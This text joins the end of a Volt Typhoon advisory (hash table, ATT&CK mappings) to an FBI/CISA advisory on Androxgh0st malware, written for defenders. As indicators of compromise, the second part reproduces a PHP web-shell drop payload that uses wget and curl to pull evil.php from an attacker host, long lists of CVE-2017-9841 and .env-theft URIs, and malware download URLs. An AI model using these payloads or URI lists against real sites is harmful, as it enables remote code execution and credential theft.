See Table 4 for Volt Typhoon IOCs obtained by the U.S. authoring agencies during incident response activities.

Note: See MAR-10448362-1.v1 for more information on this malware.

Table 4: Volt Typhoon Malicious Files and Associated Hashes

File Name

Description

MD5

Hashes (SHA256)

BrightmetricAgent.exe

The file is an FRP that could be used to reveal servers situated behind a network firewall or obscured through Network Address Translation (NAT).

 

fd41134e8ead1c18ccad27c62a260aa6

edc0c63065e88ec96197c8d7a40662a15a812a9583dc6c82b18ecd7e43b13b70

SMSvcService.exe

The file is a Windows executable "FRPC” designed to open a reverse proxy between the compromised system and the threat actor(s) C2 server.

b1de37bf229890ac181bdef1ad8ee0c2

99b80c5ac352081a64129772ed5e1543d94cad708ba2adc46dc4ab7a0bd563f1

APPENDIX C: MITRE ATT&CK TACTICS AND TECHNIQUES

See Table 5 through Table 17 for all referenced threat actor tactics and techniques in this advisory.

Table 5: Volt Typhoon actors ATT&CK Techniques for Enterprise – Reconnaissance

Reconnaissance

   

Technique Title

ID

Use

Gather Victim Host Information

T1592

Volt Typhoon conducts extensive pre-compromise reconnaissance. This includes web searches, including victim-owned sites, for victim host, identity, and network information, especially for information on key network and IT administrators.

Gather Victim Identity Information

T1589

Volt Typhoon conducts extensive pre-compromise reconnaissance to learn about the target organization’s staff.

Gather Victim Identity Information: Email Addresses

T1589.002

Volt Typhoon targets the personal emails of key network and IT staff.

Gather Victim Network Information

T1590

Volt Typhoon conducts extensive pre-compromise reconnaissance to learn about the target organization’s network.

Gather Victim Org Information

T1591

Volt Typhoon conducts extensive pre-compromise reconnaissance to learn about the target organization.

Search Open Websites/Domains

T1593

Volt Typhoon conducts extensive pre-compromise reconnaissance. This includes web searches, including victim-owned sites, for victim host, identity, and network information, especially for information on key network and IT administrators.

Search Victim-Owned Websites

T1594

Volt Typhoon conducts extensive pre-compromise reconnaissance. This includes web searches, including victim-owned sites, for victim host, identity, and network information, especially for information on key network and IT administrators.

Table 6: Volt Typhoon actors ATT&CK Techniques for Enterprise – Resource Development

Resource Development

   

Technique Title

ID

Use

Acquire Infrastructure: Botnet

T1583.003

Volt Typhoon uses multi-hop proxies for command-and-control infrastructure. The proxy is typically composed of Virtual Private Servers (VPSs) or small office/home office (SOHO) routers.

Compromise Infrastructure: Botnet

T1584.005

Volt Typhoon used Cisco and NETGEAR end-of-life SOHO routers implanted with KV Botnet malware to support their operations.

Compromise Infrastructure: Server

T1584.004

Volt Typhoon has redirected specific port traffic to their proxy infrastructure, effectively converting the PRTG’s Detection Guidance server into a proxy for their C2 traffic.

Develop Capabilities: Exploits

T1587.004

Volt Typhoon uses publicly available exploit code, but is also adept at discovering and exploiting vulnerabilities as zero days.

Obtain Capabilities: Exploits

T1588.005

Volt Typhoon uses publicly available exploit code, but is also adept at discovering and exploiting vulnerabilities as zero days.

Table 7: Volt Typhoon actors ATT&CK Techniques for Enterprise – Initial Access

Initial Access

   

Technique Title

ID

Use

Exploit Public-Facing Application

T1190

Volt Typhoon commonly exploits vulnerabilities in networking appliances such as Fortinet, Ivanti (formerly Pulse Secure), NETGEAR, Citrix, and Cisco.

External Remote Services

T1133

Volt Typhoon often uses VPN sessions to securely connect to victim environments, enabling discreet follow-on intrusion activities.

Table 8: Volt Typhoon actors ATT&CK Techniques for Enterprise – Execution

Execution

   

Technique Title

ID

Use

Command and Scripting Interpreter

T1059

Volt Typhoon uses hands-on-keyboard execution for their malicious activity via the command-line.

Command and Scripting Interpreter: PowerShell

T1059.001

Volt Typhoon has executed clients via PowerShell.

Command and Scripting Interpreter: Unix Shell

T1059.004

Volt Typhoon has used Brightmetricagent.exe, which contains multiplexer libraries that can bi-directionally stream data over through NAT networks and contains a command-line interface (CLI) library that can leverage command shells such as PowerShell, Windows Management, Instrumentation (WMI), and Z Shell (zsh).

Windows Management Instrumentation

T1047

Volt Typhoon has used Windows Management Instrumentation Console (WMIC) commands.

Table 9: Volt Typhoon actors ATT&CK Techniques for Enterprise – Persistence

Persistence

   

Technique Title

ID

Use

Valid Accounts

T1078

Volt Typhoon primarily relies on valid credentials for persistence.

Table 10: Volt Typhoon actors ATT&CK Techniques for Enterprise – Privilege Escalation

Privilege Escalation

   

Technique Title

ID

Use

Exploitation for Privilege Escalation

T1068

Volt Typhoon first obtains credentials from public-facing appliances after gaining initial access by exploiting privilege escalation vulnerabilities in the operating system or network services.

Table 11: Volt Typhoon actors ATT&CK Techniques for Enterprise – Defense Evasion

Defense Evasion

   

Technique Title

ID

Use

Direct Volume Access

T1006

Volt Typhoon has executed the Windows-native vssadmin command to create a volume shadow copy.

Indicator Removal: Clear Persistence

T1070.009

Volt Typhoon has selectively cleared Windows Event Logs, system logs, and other technical artifacts to remove evidence of their intrusion activity and masquerading file names.

Indicator Removal: Clear Windows Event Logs

T1070.001

Volt Typhoon has selectively cleared Windows Event Logs, system logs, and other technical artifacts to remove evidence of their intrusion activity and masquerading file names.

Indicator Removal: File Deletion

T1070.004

Volt Typhoon created systeminfo.dat in C:\Users\Public\Documents, but subsequently deleted it.

Masquerading: Match Legitimate Name or Location

T1036.005

Volt Typhoon has selectively cleared Windows Event Logs, system logs, and other technical artifacts to remove evidence of their intrusion activity and masquerading file names.

Modify Registry

T1112

Volt Typhoon has used the netsh command, a legitimate Windows command, to create a PortProxy registry modification on the PRTG server.

Obfuscated Files or Information: Software Packing

T1027.002

Volt Typhoon has obfuscated FRP client files (BrightmetricAgent.exe and SMSvcService.exe) and the command-line port scanning utility ScanLine by packing the files with Ultimate Packer for Executables (UPX).

System Binary Proxy Execution

T1218

Volt Typhoon uses hands-on-keyboard activity via the command-line and use other native tools and processes on systems (often referred to as “LOLBins”), known as LOTL, to maintain and expand access to the victim networks.

Table 12: Volt Typhoon actors ATT&CK Techniques for Enterprise – Credential Access

Credential Access

   

Technique Title

ID

Use

Brute Force: Password Cracking

T1110.002

Volt Typhoon has exfiltrated NTDS.dit and SYSTEM registry hive to crack passwords offline.

Credentials from Password Stores

T1555

Volt Typhoon has installed browsers saved passwords history, credit card details, and cookies.

Credentials from Password Stores: Credentials from Web Browsers

T1555.003

Volt Typhoon has strategically targeted network administrator web browser data, focusing on both browsing history and stored credentials.

OS Credential Dumping: LSASS Memory

T1003.001

Volt Typhoon used a DLL with MiniDump and the process ID of Local Security Authority Subsystem Service (LSASS) to dump the LSASS process memory and obtain credentials.

OS Credential Dumping: NTDS

T1003.003

Volt Typhoon appears to prioritize obtaining valid credentials by extracting the Active Directory database file (NTDS.dit).

Unsecured Credentials

T1552

Volt Typhoon has obtained credentials insecurely stored on an appliance.

Unsecured Credentials: Private Keys

T1552.004

Volt Typhoon has accessed a Local State file that contains the Advanced Encryption Standard (AES) encryption key used to encrypt the passwords stored in the Chrome browser, which enables the actors to obtain plaintext passwords stored in the Login Data file in the Chrome browser.

Table 13: Volt Typhoon actors ATT&CK Techniques for Enterprise – Discovery

Discovery

   

Technique Title

ID

Use

Account Discovery: Local Account

T1087.001

Volt Typhoon executed net user and quser for user account information.

Application Window Discovery

T1010

Volt Typhoon created and accessed a file named rult3uil.log on a Domain Controller in C:\Windows\System32\. The rult3uil.log file contained user activities on a compromised system, showcasing a combination of window title information and focus shifts, keypresses, and command executions across Google Chrome and Windows PowerShell, with corresponding timestamps.

Browser Information Discovery

T1217

Volt Typhoon has installed browsers saved passwords history, credit card details, and cookies.

File and Directory Discovery

T1083

Volt Typhoon enumerated several directories​, including directories containing vulnerability testing and cyber related content and facilities data, such as construction drawings.

Log Enumeration

T1654

Volt Typhoon has captured successful logon events.

Network Service Discovery

T1046

Volt Typhoon has used commercial tools, LOTL utilities, and appliances already present on the system for system information, network service, group, and user discovery.

Peripheral Device Discovery

T1120

Volt Typhoon has obtained the victim's system screen dimension and display devices information.

Permission Groups Discovery

T1069

Volt Typhoon has used commercial tools, LOTL utilities, and appliances already present on the system for system information, network service, group, and user discovery.

Process Discovery

T1057

Volt Typhoon executed tasklist /v to gather a detailed process listing.

Query Registry

T1012

Volt Typhoon has interacted with a PuTTY application by enumerating existing stored sessions.

Software Discovery

T1518

Volt Typhoon has obtained the victim's list of applications installed on the victim's system.

System Information Discovery

T1082

Volt Typhoon has used commercial tools, LOTL utilities, and appliances already present on the system for system information, network service, group, and user discovery.

System Location Discovery

T1614

Volt Typhoon has obtained the victim's system current locale.

System Network Configuration Discovery: Internet Connection Discovery

T1016.001

Volt Typhoon employs ping with various IP addresses to check network connectivity and net start to list running services.

System Owner/User Discovery

T1033

Volt Typhoon has used commercial tools, LOTL utilities, and appliances already present on the system for system information, network service, group, and user discovery.

System Service Discovery

T1007

Volt Typhoon employs ping with various IP addresses to check network connectivity and net start to list running services.

System Time Discovery

T1124

Volt Typhoon has obtained the victim's system timezone.

Table 14: Volt Typhoon actors ATT&CK Techniques for Enterprise – Lateral Movement

Lateral Movement

   

Technique Title

ID

Use

Remote Service Session Hijacking

T1563

Volt Typhoon potentially had access to a range of critical PuTTY profiles, including those for water treatment plants, water wells, an electrical substation, operational technology systems, and network security devices. This would enable them to access these critical systems.

Remote Services: Cloud Services

T1021.007

During the period of Volt Typhoon’s known network presence, there were anomalous login attempts to an Azure tenant potentially using credentials previously compromised from theft of NTDS.dit.

Remote Services: Remote Desktop Protocol

T1021.001

Volt Typhoon has moved laterally to the Domain Controller via an interactive RDP session using a compromised account with domain administrator privileges.

Use Alternate Authentication Material

T1550

Volt Typhoon may be capable of using other methods such as Pass the Hash or Pass the Ticket for lateral movement.

Valid Accounts: Cloud Accounts

T1078.004

During the period of Volt Typhoon’s known network presence, there were anomalous login attempts to an Azure tenant potentially using credentials previously compromised from theft of NTDS.dit.

Table 15: Volt Typhoon actors ATT&CK Techniques for Enterprise – Collection

Collection

   

Technique Title

ID

Use

Archive Collected Data

T1560

Volt Typhoon collected sensitive information obtained from a file server in multiple zipped files.

Archive Collected Data: Archive via Utility

T1560.001

Volt Typhoon has compressed and archived the extracted ntds.dit and accompanying registry files (by executing ronf.exe, which was likely a renamed version of rar.exe).

Data Staged

T1074

Volt Typhoon accessed the file C:\Users\{redacted}\Downloads\History.zip, which presumably contained data from the User Data directory of the user’s Chrome browser, which the actors likely saved in the Downloads directory for exfiltration.

Screen Capture

T1113

Volt Typhoon has obtained a screenshot of the victim's system using two libraries (gdi32.dll and gdiplus.dll)

Table 16: Volt Typhoon actors ATT&CK Techniques for Enterprise – Command and Control

Command and Control

   

Technique Title

ID

Use

Encrypted Channel

T1573

Volt Typhoon has setup FRP clients on a victim’s corporate infrastructure to establish covert communications channels for command and control.

Ingress Tool Transfer

T1105

Volt Typhoon uses legitimate, but outdated versions of network admin tools. For example, in one confirmed compromise, actors downloaded an outdated version of comsvcs.dll, on the DC in a non-standard folder.

Proxy

T1090

Volt Typhoon has setup FRP clients on a victim’s corporate infrastructure to establish covert communications channels for command and control.

Proxy: Internal Proxy

T1090.001

Volt Typhoon has used the netsh command, a legitimate Windows command, to create a PortProxy registry modification on the PRTG server.

Proxy: Multi-hop Proxy

T1090.003

Volt Typhoon uses multi-hop proxies for command-and-control infrastructure.

Table 17: Volt Typhoon actors ATT&CK Techniques for Enterprise – Exfiltration

Exfiltration

   

Technique Title

ID

Use

Exfiltration Over Alternative Protocol

T1048

Volt Typhoon exfiltrated files via Server Message Block (SMB).

SUMMARY

The Federal Bureau of Investigation (FBI) and the Cybersecurity and Infrastructure Security Agency (CISA) are releasing this joint Cybersecurity Advisory (CSA) to disseminate known indicators of compromise (IOCs) and tactics, techniques, and procedures (TTPs) associated with threat actors deploying Androxgh0st malware. Multiple, ongoing investigations and trusted third party reporting yielded the IOCs and TTPs, and provided information on Androxgh0st malware’s ability to establish a botnet that can further identify and compromise vulnerable networks.

The FBI and CISA encourage organizations to implement the recommendations in the Mitigations section of this CSA to reduce the likelihood and impact of cybersecurity incidents caused by Androxgh0st infections.

Download the PDF version of this report:

AA24-016A Known Indicators of Compromise Associated with Androxgh0st Malware (PDF, 576.40 KB )

For a downloadable copy of IOCs, see:

AA24-016A STIX XML (XML, 45.81 KB ) AA24-016A STIX JSON (JSON, 39.87 KB ) TECHNICAL DETAILS

Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 14. See the MITRE ATT&CK Tactics and Techniques section for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques with corresponding mitigation and/or detection recommendations. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

Overview

Androxgh0st malware has been observed establishing a botnet [T1583.005] for victim identification and exploitation in target networks. According to open source reporting[1], Androxgh0st is a Python-scripted malware [T1059.006] primarily used to target .env files that contain confidential information, such as credentials [T1552.001] for various high profile applications (i.e., Amazon Web Services [AWS], Microsoft Office 365, SendGrid, and Twilio from the Laravel web application framework). Androxgh0st malware also supports numerous functions capable of abusing the Simple Mail Transfer Protocol (SMTP), such as scanning [T1046] and exploiting exposed credentials [T1078] and application programming interfaces (APIs) [T1114], and web shell deployment [T1505.003].

Targeting the PHPUnit

Androxgh0st malware TTPs commonly involves the use of scripts, conducting scanning [T1595] and searching for websites with specific vulnerabilities. In particular, threat actors deploying Androxgh0st have been observed exploiting CVE-2017-9841 to remotely run hypertext preprocessor (PHP) code on fallible websites via PHPUnit [T1190]. Websites using the PHPUnit module that have internet-accessible (exposed) /vendor folders are subject to malicious HTTP POST requests to the /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php uniform resource identifier (URI). This PHP page runs PHP code submitted through a POST request, which allows the threat actors to remotely execute code.

Malicious actors likely use Androxgh0st to download malicious files [T1105] to the system hosting the website. Threat actors are further able to set up a fake (illegitimate) page accessible via the URI to provide backdoor access to the website. This allows threat actors to download additional malicious files for their operations and access databases.

Laravel Framework Targeting

Androxgh0st malware establishes a botnet to scan for websites using the Laravel web application framework. After identifying websites using the Laravel web application, threat actors attempt to determine if the domain’s root-level .env file is exposed and contains credentials for accessing additional services. Note: .env files commonly store credentials and tokens. Threat actors often target .env files to steal these credentials within the environment variables.

If the .env file is exposed, threat actors will issue a GET request to the /.env URI to attempt to access the data on the page. Alternatively, Androxgh0st may issue a POST request to the same URI with a POST variable named 0x[] containing certain data sent to the web server. This data is frequently used as an identifier for the threat actor. This method appears to be used for websites in debug mode (i.e., when non-production websites are exposed to the internet). A successful response from either of these methods allows the threat actors to look for usernames, passwords, and/or other credentials pertaining to services such as email (via SMTP) and AWS accounts.

Androxgh0st malware can also access the application key [TA0006] for the Laravel application on the website. If the threat actors successfully identify the Laravel application key, they will attempt exploitation by using the key to encrypt PHP code [T1027.010]. The encrypted code is then passed to the website as a value in the cross-site forgery request (XSRF) token cookie, XSRF-TOKEN, and included in a future GET request to the website. The vulnerability defined in CVE-2018-15133 indicates that on Laravel applications, XSRF token values are subject to an un-serialized call, which can allow for remote code execution. In doing so, the threat actors can upload files to the website via remote access.

Apache Web Server Targeting

In correlation with CVE-2021-41773, Androxgh0st actors have been observed scanning vulnerable web servers [T1595.002] running Apache HTTP Server versions 2.4.49 or 2.4.50. Threat actors can identify uniform resource locators (URLs) for files outside root directory through a path traversal attack [T1083]. If these files are not protected by the “request all denied” configuration and Common Gateway Interface (CGI) scripts are enabled, this may allow for remote code execution.

If threat actors obtain credentials for any services using the above methods, they may use these credentials to access sensitive data or use these services to conduct additional malicious operations. For example, when threat actors successfully identify and compromise AWS credentials from a vulnerable website, they have been observed attempting to create new users and user policies [T1136]. Additionally, Andoxgh0st actors have been observed creating new AWS instances to use for conducting additional scanning activity [T1583.006].

INDICATORS OF COMPROMISE (IOCs)

Based on investigations and analysis, the following requests are associated with Androxgh0st activity:

• Incoming GET and POST requests to the following URIs:
  • /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
  • /.env
• Incoming POST requests with the following strings:
  • [0x%5B%5D=androxgh0st]
  • ImmutableMultiDict([('0x[]', 'androxgh0st')])

In both previously listed POST request strings, the name androxgh0st has been observed to be replaced with other monikers.

Additional URIs observed by the FBI and a trusted third party used by these threat actors for credential exfiltration include:

• /info
• /phpinfo
• /phpinfo.php
• /?phpinfo=1
• /frontend_dev.php/$
• /_profiler/phpinfo
• /debug/default/view?panel=config
• /config.json
• /.json
• /.git/config
• /live_env
• /.env.dist
• /.env.save
• /environments/.env.production
• /.env.production.local
• /.env.project
• /.env.development
• /.env.production
• /.env.prod
• /.env.development.local
• /.env.old
• /<insert-directory>/.env
  • Note: the actor may attempt multiple different potential URI endpoints scanning for the .env file, for example /docker/.env or /local/.env.
• /.aws/credentials
• /aws/credentials
• /.aws/config
• /.git
• /.test
• /admin
• /backend
• /app
• /current
• /demo
• /api
• /backup
• /beta
• /cron
• /develop
• /Laravel
• /laravel/core
• /gists/cache
• /test.php
• /info.php
• //.env
• /admin-app/.env%20
• /laravel/.env%20
• /shared/.env%20
• /.env.project%20
• /apps/.env%20
• /development/.env%20
• /live_env%20
• /.env.development%20

Targeted URIs for web-shell drop:

• /.env/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• //admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• //api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• //backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• //blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• //cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• //demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• //dev/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• //laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• //lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• //lib/phpunit/phpunit/Util/PHP/eval-stdin.php
• //lib/phpunit/src/Util/PHP/eval-stdin.php
• //lib/phpunit/Util/PHP/eval-stdin.php
• //new/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• //old/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• //panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• //phpunit/phpunit/src/Util/PHP/eval-stdin.php
• //phpunit/phpunit/Util/PHP/eval-stdin.php
• //phpunit/src/Util/PHP/eval-stdin.php
• //phpunit/Util/PHP/eval-stdin.php
• //protected/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• //sites/all/libraries/mailchimp/vendor/phpunit/phpunit/src/Util/PHP/evalstdin.php
• //vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• //vendor/phpunit/phpunit/Util/PHP/eval-stdin.php
• //vendor/phpunit/src/Util/PHP/eval-stdin.php
• //vendor/phpunit/Util/PHP/eval-stdin.php
• //wp-content/plugins/cloudflare/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• //wp-content/plugins/dzs-videogallery/class_parts/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• //wp-content/plugins/jekyll-exporter/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• //wp-content/plugins/mm-plugin/inc/vendors/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• //www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• /admin/ckeditor/plugins/ajaxplorer/phpunit/src/Util/PHP/eval-stdin.php
• /admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• /api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
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• /laravel_web/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
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• /lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• /lib/phpunit/phpunit/Util/PHP/eval-stdin.php
• /lib/phpunit/phpunit/Util/PHP/eval
• stdin.php%20/lib/phpunit/src/Util/PHP/eval-stdin.php
• /lib/phpunit/src/Util/PHP/eval-stdin.php
• /lib/phpunit/Util/PHP/eval-stdin.php
• /lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• /libraries/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• /phpunit/phpunit/src/Util/PHP/eval-stdin.php
• /phpunit/phpunit/Util/PHP/eval-stdin.php
• /phpunit/phpunit/Util/PHP/eval-stdin.php%20/phpunit/src/Util/PHP/evalstdin.php
• /phpunit/src/Util/PHP/eval-stdin.php
• ./phpunit/Util/PHP/eval-stdin.php
• /phpunit/Util/PHP/eval-stdin.php%20/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php.dev
• /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php
• /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php%20/vendor/phpunit/src/Util/PHP/eval-stdin.php
• /vendor/phpunit/src/Util/PHP/eval-stdin.php
• /vendor/phpunit/Util/PHP/eval-stdin.php
• /vendor/phpunit/Util/PHP/eval-stdin.php%20
• /phpunit/phpunit/src/Util/PHP/eval-stdin.php
• /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• /zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

An example of attempted credential exfiltration through (honeypot) open proxies:

POST /.aws/credentials HTTP/1.1

host: www.example.com

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36

accept-encoding: gzip, deflate

accept: */*

connection: keep-alive

content-length: 20

content-type: application/x-www-form-urlencoded



0x%5B%5D=androxgh0st

An example of attempted web-shell drop through (honeypot) open proxies:

GET http://www.example.com/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1

host: www.example.com

user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Edg/116.0.1938.76

accept-encoding: gzip, deflate

accept: */*

connection: keep-alive

x-forwarded-for: 200.172.238.135

content-length: 279



<?php file_put_contents('evil.php',file_get_contents('hxxps://mc.rockylinux[.]si/seoforce/triggers/files/evil.txt')); system('wget hxxps://mc.rockylinux[.]si/seoforce/triggers/files/evil.txt -O evil.php;curl hxxps://mc.rockylinux[.]si/seoforce/triggers/files/evil.txt -O evil.php'); ?>

Monikers used instead of Androxgh0st (0x%5B%5D=???):

• Ridho
• Aws
• 0x_0x
• x_X
• nopebee7
• SMTPEX
• evileyes0
• privangga
• drcrypter
• errorcool
• drosteam
• androxmen
• crack3rz
• b4bbyghost
• 0x0day
• janc0xsec
• blackb0x
• 0x1331day
• Graber

Example malware drops through eval-stdin.php:

hxxps://mc.rockylinux[.]si/seoforce/triggers/files/evil.txt

59e90be75e51c86b4b9b69dcede2cf815da5a79f7e05cac27c95ec35294151f4



hxxps://chainventures.co[.]uk/.well-known/aas

dcf8f640dd7cc27d2399cce96b1cf4b75e3b9f2dfdf19cee0a170e5a6d2ce6b6



hxxp://download.asyncfox[.]xyz/download/xmrig.x86_64

23fc51fde90d98daee27499a7ff94065f7ed4ac09c22867ebd9199e025dee066



hxxps://pastebin[.]com/raw/zw0gAmpC

ca45a14d0e88e4aa408a6ac2ee3012bf9994b16b74e3c66b588c7eabaaec4d72



hxxp://raw.githubusercontent[.]com/0x5a455553/MARIJUANA/master/MARIJUANA.php

0df17ad20bf796ed549c240856ac2bf9ceb19f21a8cae2dbd7d99369ecd317ef



hxxp://45.95.147[.]236/tmp.x86_64

6b5846f32d8009e6b54743d6f817f0c3519be6f370a0917bf455d3d114820bbc



hxxp://main.dsn[.]ovh/dns/pwer

bb7070cbede294963328119d1145546c2e26709c5cea1d876d234b991682c0b7



hxxp://tangible-drink.surge[.]sh/configx.txt

de1114a09cbab5ae9c1011ddd11719f15087cc29c8303da2e71d861b0594a1ba

MITRE ATT&CK TACTICS AND TECHNIQUES

See Tables 1-10 for all referenced threat actor tactics and techniques in this advisory.

Table 1: Reconnaissance Technique Title ID Use

Active Scanning: Vulnerability Scanning

T1595.002

The threat actor scans websites for specific vulnerabilities to exploit.

Table 2: Resource Development Technique Title ID Use

Acquire Infrastructure: Botnet

T1583.005

The threat actor establishes a botnet to identify and exploit victims.

Acquire Infrastructure: Web Services

T1583.006

The threat actor creates new AWS instances to use for scanning.

Table 3: Initial Access Technique Title ID Use

Exploit Public-Facing Application

T1190

The threat actor exploits CVE-2017-9841 to remotely run hypertext preprocessor (PHP) code on websites via PHPUnit.

Table 4: Execution Technique Title ID Use

Command and Scripting Interpreter: Python

T1059.006

The threat actor uses Androxgh0st, a Python-scripted malware, to target victim files.

Table 5: Persistence Technique Title ID Use

Valid Accounts

T1078

The threat actor abuses the simple mail transfer protocol (SMTP) by exploiting exposed credentials.

Server Software Component: Web Shell

T1505.003

The threat actor deploys web shells to maintain persistent access to systems.

Create Account

T1136

The threat actor attempts to create new users and user policies with compromised AWS credentials from a vulnerable website.

Table 6: Defense Evasion Technique Title ID Use

Obfuscated Files or Information: Command Obfuscation

T1027.010

The threat actor can exploit a successfully identified Laravel application key to encrypt PHP code, which is then passed to the site as a value in the XSRF-TOKEN cookie.

Table 7: Credential Access Technique Title ID Use

Credential Access

TA0006

The threat actor can access the application key of the Laravel application on the site.

Unsecured Credentials: Credentials in Files

T1552.001

The threat actor targets .env files that contain confidential credential information.

Table 8: Discovery Technique Title ID Use

File and Directory Discovery

T1083

The threat actor can identify URLs for files outside root directory through a path traversal attack.

Network Service Discovery

T1046

The threat actor uses Androxgh0st to abuse simple mail transfer protocol (SMTP) via scanning.

Table 9: Collection Technique Title ID Use

Email Collection

T1114

The threat actor interacts with application programming interfaces (APIs) to gather information.

Table 10: Command and Control Technique Title ID Use

Ingress Tool Transfer

T1105

The threat actor runs PHP code through a POST request to download malicious files to the system hosting the website.

MITIGATIONS

The FBI and CISA recommend implementing the mitigations below to improve your organization’s cybersecurity posture based on Androxgh0st threat actor activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.

These mitigations apply to all critical infrastructure organizations and network defenders. FBI and CISA recommend that software manufacturers incorporate secure by design principles and tactics into their software development practices, limiting the impact of actor techniques and strengthening their customers’ security posture. For more information on secure by design, see CISA’s Secure by Design webpage.

The FBI and CISA recommend network defenders apply the following mitigations to limit potential adversarial use of common system and network discovery techniques and to reduce the risk of compromise by actors using Androxgh0st malware.

• Keep all operating systems, software, and firmware up to date. Specifically, ensure that Apache servers are not running versions 2.4.49 or 2.4.50. Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats. Prioritize patching known exploited vulnerabilities in internet-facing systems.
• Verify that the default configuration for all URIs is to deny all requests unless there is a specific need for it to be accessible.
• Ensure that any live Laravel applications are not in “debug” or testing mode. Remove all cloud credentials from .env files and revoke them. All cloud providers have safer ways to provide temporary, frequently rotated credentials to code running inside a web server without storing them in any file.
• On a one-time basis for previously stored cloud credentials, and on an on-going basis for other types of credentials that cannot be removed, review any platforms or services that have credentials listed in the .env file for unauthorized access or use.
• Scan the server’s file system for unrecognized PHP files, particularly in the root directory or /vendor/phpunit/phpunit/src/Util/PHP folder.
• Review outgoing GET requests (via cURL command) to file hosting sites such as GitHub, pastebin, etc., particularly when the request accesses a .php file.

VALIDATE SECURITY CONTROLS

In addition to applying mitigations, FBI and CISA recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. The authoring agencies recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

1. Select an ATT&CK technique described in this advisory (see Tables 1-10).
2. Align your security technologies against the technique.
3. Test your technologies against the technique.
4. Analyze your detection and prevention technologies’ performance.
5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

FBI and CISA recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

REPORTING

The FBI encourages organizations to report information concerning suspicious or criminal activity to their local FBI field office. With regards to specific information that appears in this CSA, indicators should always be evaluated in light of an organization’s complete security situation.

When available, each report submitted should include the date, time, location, type of activity, number of people, and type of equipment used for the activity, the name of the submitting company or organization, and a designated point of contact. Reports can be submitted to the FBI Internet Crime Complaint Center (IC3), a local FBI Field Office, or to CISA via its Incident Reporting System or its 24/7 Operations Center at report@cisa.gov or (888) 282-0870.

RESOURCES

• CISA: Known Exploited Vulnerabilities Catalog
• CISA, MITRE: Best Practices for MITRE ATT&CK Mapping
• CISA: Decider Tool
• NIST: CVE-2017-9841
• NIST: CVE-2018-15133
• NIST: CVE-2021-41773
• CISA: Cross-Sector Cybersecurity Performance Goals
• CISA: Secure by Design

REFERENCES

1. Fortinet - FortiGuard Labs: Threat Signal Report: AndroxGh0st Malware Actively Used in the Wild

ACKNOWLEDGEMENTS

Amazon contributed to this CSA.

DISCLAIMER

The information in this report is being provided “as is” for informational purposes only. FBI and CISA do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI and CISA.

VERSION HISTORY

January 16, 2024: Initial version.